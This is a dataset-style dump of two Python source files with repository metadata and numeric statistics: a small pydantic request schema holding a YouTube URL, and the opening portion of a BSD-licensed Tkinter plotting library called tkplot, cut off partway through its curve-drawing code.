| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
ed467dbde6637997134d5d1416426c4482ce1457
| 119
|
py
|
Python
|
ai/app/schema/transcribe.py
|
0xCompyler/shulker
|
79fdbdfa17f50fdbff7f7e709a87d8a8ea84cb51
|
[
"MIT"
] | 3
|
2022-03-09T06:01:25.000Z
|
2022-03-13T06:35:57.000Z
|
ai/app/schema/transcribe.py
|
0xCompyler/shulker
|
79fdbdfa17f50fdbff7f7e709a87d8a8ea84cb51
|
[
"MIT"
] | null | null | null |
ai/app/schema/transcribe.py
|
0xCompyler/shulker
|
79fdbdfa17f50fdbff7f7e709a87d8a8ea84cb51
|
[
"MIT"
] | null | null | null |
from lib2to3.pytree import Base
from pydantic import BaseModel
class TranscribeBody(BaseModel):
youtube_url: str
| 17
| 32
| 0.806723
| 15
| 119
| 6.333333
| 0.8
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.019802
| 0.151261
| 119
| 6
| 33
| 19.833333
| 0.920792
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
| 1
| 0
| true
| 0
| 0.5
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| null | 0
| 0
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
9c086a0912e7450fde30899999812a4d94536c44
| 126,461
|
py
|
Python
|
tkplot.py
|
bminch/tkplot
|
d1ed02d18cba3ec1521b202e9c53b64c5402c547
|
[
"BSD-2-Clause"
] | null | null | null |
tkplot.py
|
bminch/tkplot
|
d1ed02d18cba3ec1521b202e9c53b64c5402c547
|
[
"BSD-2-Clause"
] | null | null | null |
tkplot.py
|
bminch/tkplot
|
d1ed02d18cba3ec1521b202e9c53b64c5402c547
|
[
"BSD-2-Clause"
] | null | null | null |
#
## Copyright (c) 2018-2020, Bradley A. Minch
## All rights reserved.
##
## Redistribution and use in source and binary forms, with or without
## modification, are permitted provided that the following conditions are met:
##
## 1. Redistributions of source code must retain the above copyright
## notice, this list of conditions and the following disclaimer.
## 2. Redistributions in binary form must reproduce the above copyright
## notice, this list of conditions and the following disclaimer in the
## documentation and/or other materials provided with the distribution.
##
## THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
## AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
## IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
## ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
## LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
## CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
## SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
## INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
## CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
## ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
## POSSIBILITY OF SUCH DAMAGE.
#
import tkinter as tk
import numpy as np
import math
import codecs
class tkplot:
class curve:
def __init__(self, **kwargs):
self.data_x = kwargs.get('data_x', np.array([]))
self.data_y = kwargs.get('data_y', np.array([]))
self.points_x = kwargs.get('points_x', [np.array([])])
self.points_y = kwargs.get('points_y', [np.array([])])
self.name = kwargs.get('name', '')
self.yaxis = kwargs.get('yaxis', 'left')
self.marker_color = kwargs.get('marker_color', '')
self.marker = kwargs.get('marker', '')
self.curve_color = kwargs.get('curve_color', '')
self.curve_style = kwargs.get('curve_style', '')
class y_axis:
def __init__(self, **kwargs):
self.name = kwargs.get('name', 'left')
self.color = kwargs.get('color', '#000000')
self.yaxis_mode = kwargs.get('yaxis_mode', 'linear')
self.yaxis_sign = 1.
self.ylimits_mode = kwargs.get('ylimits_mode', 'auto')
self.ylim = kwargs.get('ylim', [0., 1.])
self.ymin = self.ylim[0]
self.ymax = self.ylim[1]
self.ylabel_value = kwargs.get('ylabel', '')
def __init__(self, **kwargs):
self.canvas_left = float(kwargs.get('left', 0.))
self.canvas_top = float(kwargs.get('top', 0.))
self.canvas_width = float(kwargs.get('width', 560.))
self.canvas_height = float(kwargs.get('height', 420.))
self.marker_radius = float(kwargs.get('marker_radius', 4.))
self.marker_lineweight = float(kwargs.get('marker_lineweight', 1.))
self.curve_lineweight = float(kwargs.get('curve_lineweight', 1.))
self.tick_length = float(kwargs.get('tick_length', 6.))
self.tick_lineweight = float(kwargs.get('tick_lineweight', 1.))
self.canvas_background_color = kwargs.get('background', '#CDCDCD')
self.axes_background_color = kwargs.get('axes_background', '#FFFFFF')
self.axes_color = kwargs.get('axes_color', '#000000')
self.axes_lineweight = kwargs.get('axes_lineweight', 1.)
self.label_font_baseline = float(kwargs.get('baseline', 0.6))
self.label_fontsize = int(kwargs.get('fontsize', 12))
self.label_font = kwargs.get('font', 'Helvetica')
self.linear_minor_ticks = kwargs.get('linear_minor_ticks', 'off')
self.init_markers(self.marker_radius)
self.marker_names = [[' ', 'No marker'], ['.', 'Point'], ['o', 'Circle'], ['x', 'Ex'],
['+', 'Plus'], ['*', 'Star'], ['s', 'Square'], ['d', 'Diamond'],
['v', 'Triangle (down)'], ['^', 'Triangle (up)'], ['<', 'Triangle (left)'],
['>', 'Triangle (right)'], ['p', 'Pentagram'], ['h', 'Hexagram']]
self.colors = {'b': '#0000FF', 'g': '#00FF00', 'r': '#FF0000',
'c': '#00FFFF', 'm': '#FF00FF', 'y': '#FFFF00',
'k': '#000000', 'w': '#FFFFFF'}
self.color_names = [['b', 'Blue'], ['r', 'Red'], ['g', 'Green'], ['c', 'Cyan'],
['m', 'Magenta'], ['y', 'Yellow'], ['k', 'Black'], ['w', 'White']]
self.linestyles = {'-': (), ':': (1, 4), '--': (10, 4), '-.': (10, 4, 1, 4), '-:': (10, 4, 1, 4, 1, 4)}
self.linestyle_names = [[' ', 'No line'], ['-', 'Solid'], [':', 'Dotted'],
['-.', 'Dash-dot'], ['-:', 'Dash-dot-dot'], ['--', 'Dashed']]
self.multipliers = (1., 1e-3, 1e-6, 1e-9, 1e-12, 1e-15, 1e-18, 1e-21, 1e-24,
1e24, 1e21, 1e18, 1e15, 1e12, 1e9, 1e6, 1e3)
self.prefixes = (u'', u'k', u'M', u'G', u'T', u'P', u'E', u'Z', u'Y',
u'y', u'z', u'a', u'f', u'p', u'n', u'\xB5', u'm')
self.default_color_order = ('b', 'g', 'r', 'c', 'm', 'y')
self.default_color_index = 0
self.default_marker = '.'
self.default_curve_style = '-'
self.curve_id = 0
self.curves = {}
self.xaxis_mode = 'linear'
self.xaxis_sign = 1.
self.xlimits_mode = 'auto'
self.xlim = [0., 1.]
self.xmin = 0.
self.xmax = 1.
self.xlabel_value = ''
self.yaxes = {}
self.yaxes['left'] = self.y_axis()
self.left_yaxis = 'left'
self.right_yaxis = ''
self.update_sizes()
self.find_x_ticks()
self.find_y_ticks()
self.grid_state = 'off'
self.dw = 0.
self.dh = 0.
self.x0 = 0.
self.y0 = 0.
self.svg_file = None
self.svg_indent_level = 1
self.tk_backend()
self.root = kwargs.get('parent')
if self.root == None:
self.root = tk.Tk()
self.root.title('tkplot')
self.canvas = tk.Canvas(self.root, width = self.canvas_width, height = self.canvas_height, background = self.canvas_background_color, highlightbackground = self.canvas_background_color)
self.draw_background()
self.draw_axes()
self.draw_x_ticks()
self.draw_y_ticks()
self.draw_axis_labels()
self.canvas.pack(fill = 'both', expand = 'yes')
self.dw = 2.*float(self.canvas.cget('highlightthickness'))
self.dh = self.dw
self.canvas.bind('<Configure>', self.resize)
def init_markers(self, r = 4.):
r_over_sqrt2 = r / math.sqrt(2.)
r_over_sqrt3 = r / math.sqrt(3.)
pi_over_180 = math.pi / 180.
r2 = r * math.sin(pi_over_180 * 18.) / math.sin(pi_over_180 * 54.)
self.marker_coords = {}
self.marker_coords['.'] = ((-0.5 * r, -0.5 * r), (0.5 * r, 0.5 * r))
self.marker_coords['o'] = ((-r, -r), (r, r))
self.marker_coords['x'] = ((0., 0.), (r_over_sqrt2, -r_over_sqrt2),
(0., 0.), (r_over_sqrt2, r_over_sqrt2),
(0., 0.), (-r_over_sqrt2, r_over_sqrt2),
(0., 0.), (-r_over_sqrt2, -r_over_sqrt2),
(0., 0.))
self.marker_coords['+'] = ((0., 0.), (0., -r),
(0., 0.), (r, 0.),
(0., 0.), (0., r),
(0., 0.), (-r, 0.),
(0., 0.))
self.marker_coords['*'] = ((0., 0.), (0., -r),
(0., 0.), (r_over_sqrt2, -r_over_sqrt2),
(0., 0.), (r, 0.),
(0., 0.), (r_over_sqrt2, r_over_sqrt2),
(0., 0.), (0., r),
(0., 0.), (-r_over_sqrt2, r_over_sqrt2),
(0., 0.), (-r, 0.),
(0., 0.), (-r_over_sqrt2, -r_over_sqrt2),
(0., 0.))
self.marker_coords['s'] = ((-r_over_sqrt2, -r_over_sqrt2), (r_over_sqrt2, -r_over_sqrt2),
(r_over_sqrt2, r_over_sqrt2), (-r_over_sqrt2, r_over_sqrt2),
(-r_over_sqrt2, -r_over_sqrt2))
self.marker_coords['d'] = ((0., -1.25 * r), (r, 0.), (0., 1.25 * r), (-r, 0.), (0., -1.25 * r))
self.marker_coords['v'] = ((0., r),
(r * math.cos(pi_over_180 * 150.), -r * math.sin(pi_over_180 * 150.)),
(r * math.cos(pi_over_180 * 30.), -r * math.sin(pi_over_180 * 30.)),
(0., r))
self.marker_coords['^'] = ((0., -r),
(r * math.cos(pi_over_180 * 330.), -r * math.sin(pi_over_180 * 330.)),
(r * math.cos(pi_over_180 * 210.), -r * math.sin(pi_over_180 * 210.)),
(0., -r))
self.marker_coords['<'] = ((-r, 0.),
(r * math.cos(pi_over_180 * 60.), -r * math.sin(pi_over_180 * 60.)),
(r * math.cos(pi_over_180 * 300.), -r * math.sin(pi_over_180 * 300.)),
(-r, 0.))
self.marker_coords['>'] = ((r, 0.),
(r * math.cos(pi_over_180 * 240.), -r * math.sin(pi_over_180 * 240.)),
(r * math.cos(pi_over_180 * 120.), -r * math.sin(pi_over_180 * 120.)),
(r, 0.))
self.marker_coords['p'] = ((0., -r),
(r2 * math.cos(pi_over_180 * 54.), -r2 * math.sin(pi_over_180 * 54.)),
(r * math.cos(pi_over_180 * 18.), -r * math.sin(pi_over_180 * 18.)),
(r2 * math.cos(pi_over_180 * 342.), -r2 * math.sin(pi_over_180 * 342.)),
(r * math.cos(pi_over_180 * 306.), -r * math.sin(pi_over_180 * 306.)),
(0., r2),
(r * math.cos(pi_over_180 * 234.), -r * math.sin(pi_over_180 * 234.)),
(r2 * math.cos(pi_over_180 * 198.), -r2 * math.sin(pi_over_180 * 198.)),
(r * math.cos(pi_over_180 * 162.), -r * math.sin(pi_over_180 * 162.)),
(r2 * math.cos(pi_over_180 * 126.), -r2 * math.sin(pi_over_180 * 126.)),
(0., -r))
self.marker_coords['h'] = ((0., -r),
(r_over_sqrt3 * math.cos(pi_over_180 * 60.), -r_over_sqrt3 * math.sin(pi_over_180 * 60.)),
(r * math.cos(pi_over_180 * 30.), -r * math.sin(pi_over_180 * 30.)),
(r_over_sqrt3, 0.),
(r * math.cos(pi_over_180 * 330.), -r * math.sin(pi_over_180 * 330.)),
(r_over_sqrt3 * math.cos(pi_over_180 * 300.), -r_over_sqrt3 * math.sin(pi_over_180 * 300.)),
(0., r),
(r_over_sqrt3 * math.cos(pi_over_180 * 240.), -r_over_sqrt3 * math.sin(pi_over_180 * 240.)),
(r * math.cos(pi_over_180 * 210.), -r * math.sin(pi_over_180 * 210.)),
(-r_over_sqrt3, 0.),
(r * math.cos(pi_over_180 * 150.), -r * math.sin(pi_over_180 * 150.)),
(r_over_sqrt3 * math.cos(pi_over_180 * 120.), -r_over_sqrt3 * math.sin(pi_over_180 * 120.)),
(0., -r))
def update_sizes(self):
self.axes_left = self.canvas_left + 6. * self.label_fontsize
self.axes_top = self.canvas_top + 3. * self.label_fontsize
self.axes_right = self.canvas_left + self.canvas_width - 6. * self.label_fontsize
self.axes_bottom = self.canvas_top + self.canvas_height - 4. * self.label_fontsize
self.axes_width = self.axes_right - self.axes_left
self.axes_height = self.axes_bottom - self.axes_top
self.xrange = self.xlim[1] - self.xlim[0]
self.x_pix_per_unit = self.axes_width / self.xrange
self.x_epsilon = self.xrange / self.axes_width
for yaxis in self.yaxes.keys():
self.yaxes[yaxis].yrange = self.yaxes[yaxis].ylim[1] - self.yaxes[yaxis].ylim[0]
self.yaxes[yaxis].y_pix_per_unit = self.axes_height / self.yaxes[yaxis].yrange
self.yaxes[yaxis].y_epsilon = self.yaxes[yaxis].yrange / self.axes_height
def resize(self, event):
self.canvas_width = max(event.width - self.dw, 17. * self.label_fontsize)
self.canvas_height = max(event.height - self.dh, 12. * self.label_fontsize)
self.refresh_plot()
def configure(self, **kwargs):
self.canvas_left = float(kwargs.get('left', self.canvas_left))
self.canvas_top = float(kwargs.get('top', self.canvas_top))
self.canvas_width = float(kwargs.get('width', self.canvas_width))
self.canvas_height = float(kwargs.get('height', self.canvas_height))
self.marker_radius = float(kwargs.get('marker_radius', self.marker_radius))
self.marker_lineweight = float(kwargs.get('marker_lineweight', self.marker_lineweight))
self.curve_lineweight = float(kwargs.get('curve_lineweight', self.curve_lineweight))
self.tick_length = float(kwargs.get('tick_length', self.tick_length))
self.tick_lineweight = float(kwargs.get('tick_lineweight', self.tick_lineweight))
self.canvas_background_color = kwargs.get('background', self.canvas_background_color)
self.axes_background_color = kwargs.get('axes_background', self.axes_background_color)
self.axes_color = kwargs.get('axes_color', self.axes_color)
self.axes_lineweight = kwargs.get('axes_lineweight', self.axes_lineweight)
self.label_font_baseline = float(kwargs.get('baseline', self.label_font_baseline))
self.label_fontsize = int(kwargs.get('fontsize', self.label_fontsize))
self.label_font = kwargs.get('font', self.label_font)
self.linear_minor_ticks = kwargs.get('linear_minor_ticks', 'off')
self.init_markers(self.marker_radius)
self.canvas.configure(background = self.canvas_background_color, highlightbackground = self.canvas_background_color)
self.refresh_plot()
def clear_plot(self, **kwargs):
yaxis = kwargs.get('yaxis', 'all')
if (yaxis != 'all') and (yaxis not in self.yaxes.keys()):
raise ValueError('specified y-axis does not exist')
if yaxis == 'all':
self.curves = {}
else:
for name in self.curves.keys():
if self.curves[name].yaxis == yaxis:
del(self.curves[name])
self.refresh_plot()
def draw_now(self):
self.root.update()
def refresh_plot(self):
self.find_axes_limits()
self.update_sizes()
self.find_x_ticks()
self.find_y_ticks()
self.erase_plot()
self.draw_plot()
def draw_plot(self):
self.draw_background()
self.begin_group(name = 'axes')
self.draw_axes_background()
self.draw_grid()
self.draw_x_ticks()
self.draw_y_ticks()
self.draw_axes()
self.end_group()
self.draw_curves()
self.draw_axis_labels()
def draw_background(self):
self.draw_rect(coords = [self.canvas_left, self.canvas_top, self.canvas_left + self.canvas_width, self.canvas_top + self.canvas_height], outline = '', fill = self.canvas_background_color)
def draw_axes_background(self):
self.draw_rect(coords = [self.axes_left, self.axes_top, self.axes_right, self.axes_bottom], outline = '', fill = self.axes_background_color)
def draw_axes(self):
self.draw_line(coords = [self.axes_left, self.axes_top, self.axes_right, self.axes_top], fill = self.axes_color, width = self.axes_lineweight)
self.draw_line(coords = [self.axes_right, self.axes_top, self.axes_right, self.axes_bottom], fill = self.axes_color, width = self.axes_lineweight)
self.draw_line(coords = [self.axes_left, self.axes_bottom, self.axes_right, self.axes_bottom], fill = self.axes_color, width = self.axes_lineweight)
self.draw_line(coords = [self.axes_left, self.axes_top, self.axes_left, self.axes_bottom], fill = self.axes_color, width = self.axes_lineweight)
def to_canvas_x(self, x):
return self.axes_left + self.x_pix_per_unit * (x - self.xlim[0])
def to_canvas_y(self, y, yaxis = 'left'):
return self.axes_top + self.yaxes[yaxis].y_pix_per_unit * (self.yaxes[yaxis].ylim[1] - y)
def from_canvas_x(self, x):
return self.xlim[0] + (x - self.axes_left) / self.x_pix_per_unit
def from_canvas_y(self, y, yaxis = 'left'):
return self.yaxes[yaxis].ylim[1] - (y - self.axes_top) / self.yaxes[yaxis].y_pix_per_unit
def draw_marker(self, x, y, marker, color, name = ''):
coords = []
for [dx, dy] in self.marker_coords[marker]:
coords.append(x + dx)
coords.append(y + dy)
if marker == '.':
self.draw_oval(coords = coords, fill = self.colors[color], outline = self.colors[color], width = self.marker_lineweight, name = name)
elif marker == 'o':
self.draw_oval(coords = coords, outline = self.colors[color], width = self.marker_lineweight, name = name)
else:
self.draw_line(coords = coords, fill = self.colors[color], width = self.marker_lineweight, name = name)
def draw_curve(self, curve):
yaxis = self.yaxes[curve.yaxis]
for j in range(len(curve.points_x)):
px = curve.points_x[j]
py = curve.points_y[j]
if len(px) > 1:
pts_in_axes = np.logical_and(np.logical_and(px >= self.xlim[0], px <= self.xlim[1]), np.logical_and(py >= yaxis.ylim[0], py <= yaxis.ylim[1]))
where_pts_in_axes = np.where(pts_in_axes)[0]
runs_where_pts_in_axes = np.split(where_pts_in_axes, np.where(np.diff(where_pts_in_axes) != 1)[0] + 1)
for run in runs_where_pts_in_axes:
if len(run) > 1:
x = self.axes_left + self.x_pix_per_unit * (px[run] - self.xlim[0])
y = self.axes_top + yaxis.y_pix_per_unit * (yaxis.ylim[1] - py[run])
coords = np.vstack((x, y)).T.flatten().tolist()
self.draw_line(coords = coords, fill = self.colors[curve.curve_color], dash = self.linestyles[curve.curve_style], width = self.curve_lineweight, name = curve.name)
where_pts_leave_axes = np.where(np.logical_and(pts_in_axes[0:-1], pts_in_axes[1:] == False))[0]
for i in where_pts_leave_axes:
NW = (py[i + 1] - yaxis.ylim[1]) * (px[i] - self.xlim[0]) - (px[i + 1] - self.xlim[0]) * (py[i] - yaxis.ylim[1])
NE = (py[i + 1] - py[i]) * (self.xlim[1] - px[i]) - (px[i + 1] - px[i]) * (yaxis.ylim[1] - py[i])
SE = (py[i + 1] - py[i]) * (self.xlim[1] - px[i]) - (px[i + 1] - px[i]) * (yaxis.ylim[0] - py[i])
SW = (py[i + 1] - yaxis.ylim[0]) * (px[i] - self.xlim[0]) - (px[i + 1] - self.xlim[0]) * (py[i] - yaxis.ylim[0])
if (NW > 0) and (NE > 0):
if py[i] == py[i + 1]:
coords = [self.to_canvas_x(px[i]), self.to_canvas_y(py[i], curve.yaxis),
self.axes_right if px[i + 1] >= self.xlim[1] else self.axes_left, self.axes_top]
else:
coords = [self.to_canvas_x(px[i]), self.to_canvas_y(py[i], curve.yaxis),
self.to_canvas_x(px[i] + (px[i + 1] - px[i]) * (yaxis.ylim[1] - py[i]) / (py[i + 1] - py[i])), self.axes_top]
self.draw_line(coords = coords, fill = self.colors[curve.curve_color], dash = self.linestyles[curve.curve_style], width = self.curve_lineweight, name = curve.name)
elif (SE <= 0) and (SW <= 0):
if py[i] == py[i + 1]:
coords = [self.to_canvas_x(px[i]), self.to_canvas_y(py[i], curve.yaxis),
self.axes_right if px[i + 1] >= self.xlim[1] else self.axes_left, self.axes_bottom]
else:
coords = [self.to_canvas_x(px[i]), self.to_canvas_y(py[i], curve.yaxis),
self.to_canvas_x(px[i] + (px[i + 1] - px[i]) * (yaxis.ylim[0] - py[i]) / (py[i + 1] - py[i])), self.axes_bottom]
self.draw_line(coords = coords, fill = self.colors[curve.curve_color], dash = self.linestyles[curve.curve_style], width = self.curve_lineweight, name = curve.name)
elif (NW <= 0) and (SW > 0):
if px[i] == px[i + 1]:
coords = [self.to_canvas_x(px[i]), self.to_canvas_y(py[i], curve.yaxis),
self.axes_left, self.axes_top if py[i + 1] >= yaxis.ylim[1] else self.axes_bottom]
else:
coords = [self.to_canvas_x(px[i]), self.to_canvas_y(py[i], curve.yaxis),
self.axes_left, self.to_canvas_y(py[i] + (py[i + 1] - py[i]) * (self.xlim[0] - px[i]) / (px[i + 1] - px[i]), curve.yaxis)]
self.draw_line(coords = coords, fill = self.colors[curve.curve_color], dash = self.linestyles[curve.curve_style], width = self.curve_lineweight, name = curve.name)
elif (NE <= 0) and (SE > 0):
if px[i] == px[i + 1]:
coords = [self.to_canvas_x(px[i]), self.to_canvas_y(py[i], curve.yaxis),
self.axes_right, self.axes_top if py[i + 1] >= yaxis.ylim[1] else self.axes_bottom]
else:
coords = [self.to_canvas_x(px[i]), self.to_canvas_y(py[i], curve.yaxis),
self.axes_right, self.to_canvas_y(py[i] + (py[i + 1] - py[i]) * (self.xlim[1] - px[i]) / (px[i + 1] - px[i]), curve.yaxis)]
self.draw_line(coords = coords, fill = self.colors[curve.curve_color], dash = self.linestyles[curve.curve_style], width = self.curve_lineweight, name = curve.name)
where_pts_enter_axes = np.where(np.logical_and(pts_in_axes[0:-1] == False, pts_in_axes[1:]))[0]
for i in where_pts_enter_axes:
NW = (py[i] - yaxis.ylim[1]) * (px[i + 1] - self.xlim[0]) - (px[i] - self.xlim[0]) * (py[i + 1] - yaxis.ylim[1])
NE = (py[i] - py[i + 1]) * (self.xlim[1] - px[i + 1]) - (px[i] - px[i + 1]) * (yaxis.ylim[1] - py[i + 1])
SE = (py[i] - py[i + 1]) * (self.xlim[1] - px[i + 1]) - (px[i] - px[i + 1]) * (yaxis.ylim[0] - py[i + 1])
SW = (py[i] - yaxis.ylim[0]) * (px[i + 1] - self.xlim[0]) - (px[i] - self.xlim[0]) * (py[i + 1] - yaxis.ylim[0])
if (NW > 0) and (NE > 0):
if py[i] == py[i + 1]:
coords = [self.axes_right if px[i] >= self.xlim[1] else self.axes_left, self.axes_top,
self.to_canvas_x(px[i + 1]), self.to_canvas_y(py[i + 1], curve.yaxis)]
else:
coords = [self.to_canvas_x(px[i + 1] + (px[i] - px[i + 1]) * (yaxis.ylim[1] - py[i + 1]) / (py[i] - py[i + 1])), self.axes_top,
self.to_canvas_x(px[i + 1]), self.to_canvas_y(py[i + 1], curve.yaxis)]
self.draw_line(coords = coords, fill = self.colors[curve.curve_color], dash = self.linestyles[curve.curve_style], width = self.curve_lineweight, name = curve.name)
elif (SE <= 0) and (SW <= 0):
if py[i] == py[i + 1]:
coords = [self.axes_right if px[i] >= self.xlim[1] else self.axes_left, self.axes_bottom,
self.to_canvas_x(px[i + 1]), self.to_canvas_y(py[i + 1], curve.yaxis)]
else:
coords = [self.to_canvas_x(px[i + 1] + (px[i] - px[i + 1]) * (yaxis.ylim[0] - py[i + 1]) / (py[i] - py[i + 1])), self.axes_bottom,
self.to_canvas_x(px[i + 1]), self.to_canvas_y(py[i + 1], curve.yaxis)]
self.draw_line(coords = coords, fill = self.colors[curve.curve_color], dash = self.linestyles[curve.curve_style], width = self.curve_lineweight, name = curve.name)
elif (NW <= 0) and (SW > 0):
if px[i] == px[i + 1]:
coords = [self.axes_left, self.axes_top if py[i] >= yaxis.ylim[1] else self.axes_bottom,
self.to_canvas_x(px[i + 1]), self.to_canvas_y(py[i + 1], curve.yaxis)]
else:
coords = [self.axes_left, self.to_canvas_y(py[i + 1] + (py[i] - py[i + 1]) * (self.xlim[0] - px[i + 1]) / (px[i] - px[i + 1]), curve.yaxis),
self.to_canvas_x(px[i + 1]), self.to_canvas_y(py[i + 1], curve.yaxis)]
self.draw_line(coords = coords, fill = self.colors[curve.curve_color], dash = self.linestyles[curve.curve_style], width = self.curve_lineweight, name = curve.name)
elif (NE <= 0) and (SE > 0):
if px[i] == px[i + 1]:
coords = [self.axes_right, self.axes_top if py[i] >= yaxis.ylim[1] else self.axes_bottom,
self.to_canvas_x(px[i + 1]), self.to_canvas_y(py[i + 1], curve.yaxis)]
else:
coords = [self.axes_right, self.to_canvas_y(py[i + 1] + (py[i] - py[i + 1]) * (self.xlim[1] - px[i + 1]) / (px[i] - px[i + 1]), curve.yaxis),
self.to_canvas_x(px[i + 1]), self.to_canvas_y(py[i + 1], curve.yaxis)]
self.draw_line(coords = coords, fill = self.colors[curve.curve_color], dash = self.linestyles[curve.curve_style], width = self.curve_lineweight, name = curve.name)
adj_pts_left_of_axes = np.logical_and(px[0:-1] < self.xlim[0], px[1:] < self.xlim[0])
adj_pts_right_of_axes = np.logical_and(px[0:-1] > self.xlim[1], px[1:] > self.xlim[1])
adj_pts_below_axes = np.logical_and(py[0:-1] < yaxis.ylim[0], py[1:] < yaxis.ylim[0])
adj_pts_above_axes = np.logical_and(py[0:-1] > yaxis.ylim[1], py[1:] > yaxis.ylim[1])
adj_pts_on_same_side_of_axes = np.logical_or(np.logical_or(adj_pts_left_of_axes, adj_pts_right_of_axes), np.logical_or(adj_pts_below_axes, adj_pts_above_axes))
adj_pts_outside_axes = np.logical_and(pts_in_axes[0:-1] == False, pts_in_axes[1:] == False)
where_adj_pts_may_straddle_axes = np.where(np.logical_and(adj_pts_outside_axes, adj_pts_on_same_side_of_axes == False))[0]
for i in where_adj_pts_may_straddle_axes:
if (px[i] == px[i + 1]):
coords = [self.to_canvas_x(px[i]), self.axes_bottom,
self.to_canvas_x(px[i]), self.axes_top]
self.draw_line(coords = coords, fill = self.colors[curve.curve_color], dash = self.linestyles[curve.curve_style], width = self.curve_lineweight, name = curve.name)
elif (py[i] == py[i + 1]):
coords = [self.axes_left, self.to_canvas_y(py[i], curve.yaxis),
self.axes_right, self.to_canvas_y(py[i], curve.yaxis)]
self.draw_line(coords = coords, fill = self.colors[curve.curve_color], dash = self.linestyles[curve.curve_style], width = self.curve_lineweight, name = curve.name)
else:
if px[i] < px[i + 1]:
x1, y1 = px[i], py[i]
x2, y2 = px[i + 1], py[i + 1]
else:
x1, y1 = px[i + 1], py[i + 1]
x2, y2 = px[i], py[i]
NW = (yaxis.ylim[1] - y1) * (x2 - x1) - (self.xlim[0] - x1) * (y2 - y1)
NE = (yaxis.ylim[1] - y1) * (x2 - x1) - (self.xlim[1] - x1) * (y2 - y1)
SE = (yaxis.ylim[0] - y1) * (x2 - x1) - (self.xlim[1] - x1) * (y2 - y1)
SW = (yaxis.ylim[0] - y1) * (x2 - x1) - (self.xlim[0] - x1) * (y2 - y1)
if (NW > 0) and (NE <= 0) and (SW <= 0):
coords = [self.axes_left, self.to_canvas_y(y1 + (y2 - y1) * (self.xlim[0] - x1) / (x2 - x1), curve.yaxis),
self.to_canvas_x(x1 + (x2 - x1) * (yaxis.ylim[1] - y1) / (y2 - y1)), self.axes_top]
self.draw_line(coords = coords, fill = self.colors[curve.curve_color], dash = self.linestyles[curve.curve_style], width = self.curve_lineweight, name = curve.name)
elif (NE > 0) and (NW <= 0) and (SE <= 0):
coords = [self.to_canvas_x(x1 + (x2 - x1) * (yaxis.ylim[1] - y1) / (y2 - y1)), self.axes_top,
self.axes_right, self.to_canvas_y(y1 + (y2 - y1) * (self.xlim[1] - x1) / (x2 - x1), curve.yaxis)]
self.draw_line(coords = coords, fill = self.colors[curve.curve_color], dash = self.linestyles[curve.curve_style], width = self.curve_lineweight, name = curve.name)
elif (SW <= 0) and (NW > 0) and (SE > 0):
coords = [self.axes_left, self.to_canvas_y(y1 + (y2 - y1) * (self.xlim[0] - x1) / (x2 - x1), curve.yaxis),
self.to_canvas_x(x1 + (x2 - x1) * (yaxis.ylim[0] - y1) / (y2 - y1)), self.axes_bottom]
self.draw_line(coords = coords, fill = self.colors[curve.curve_color], dash = self.linestyles[curve.curve_style], width = self.curve_lineweight, name = curve.name)
elif (SE <= 0) and (SW > 0) and (NE > 0):
coords = [self.to_canvas_x(x1 + (x2 - x1) * (yaxis.ylim[0] - y1) / (y2 - y1)), self.axes_bottom,
self.axes_right, self.to_canvas_y(y1 + (y2 - y1) * (self.xlim[1] - x1) / (x2 - x1), curve.yaxis)]
self.draw_line(coords = coords, fill = self.colors[curve.curve_color], dash = self.linestyles[curve.curve_style], width = self.curve_lineweight, name = curve.name)
elif (NW > 0) and (NE > 0) and (SW <= 0) and (SE <= 0):
coords = [self.axes_left, self.to_canvas_y(y1 + (y2 - y1) * (self.xlim[0] - x1) / (x2 - x1), curve.yaxis),
self.axes_right, self.to_canvas_y(y1 + (y2 - y1) * (self.xlim[1] - x1) / (x2 - x1), curve.yaxis)]
self.draw_line(coords = coords, fill = self.colors[curve.curve_color], dash = self.linestyles[curve.curve_style], width = self.curve_lineweight, name = curve.name)
elif (NW * NE < 0) and (SW * SE < 0):
coords = [self.to_canvas_x(x1 + (x2 - x1) * (yaxis.ylim[0] - y1) / (y2 - y1)), self.axes_bottom,
self.to_canvas_x(x1 + (x2 - x1) * (yaxis.ylim[1] - y1) / (y2 - y1)), self.axes_top]
self.draw_line(coords = coords, fill = self.colors[curve.curve_color], dash = self.linestyles[curve.curve_style], width = self.curve_lineweight, name = curve.name)
def draw_curves(self):
for name in self.curves.keys():
self.begin_group(name = name)
curve = self.curves[name]
yaxis = self.yaxes[curve.yaxis]
if curve.curve_style != '':
self.draw_curve(curve)
if curve.marker != '':
for i in range(len(curve.points_x)):
px = curve.points_x[i]
py = curve.points_y[i]
pts_in_axes = np.logical_and(np.logical_and(px > self.xlim[0] - self.x_epsilon, px < self.xlim[1] + self.x_epsilon), np.logical_and(py > yaxis.ylim[0] - yaxis.y_epsilon, py < yaxis.ylim[1] + yaxis.y_epsilon))
where_pts_in_axes = np.where(pts_in_axes)[0]
x = self.axes_left + self.x_pix_per_unit * (px[where_pts_in_axes] - self.xlim[0])
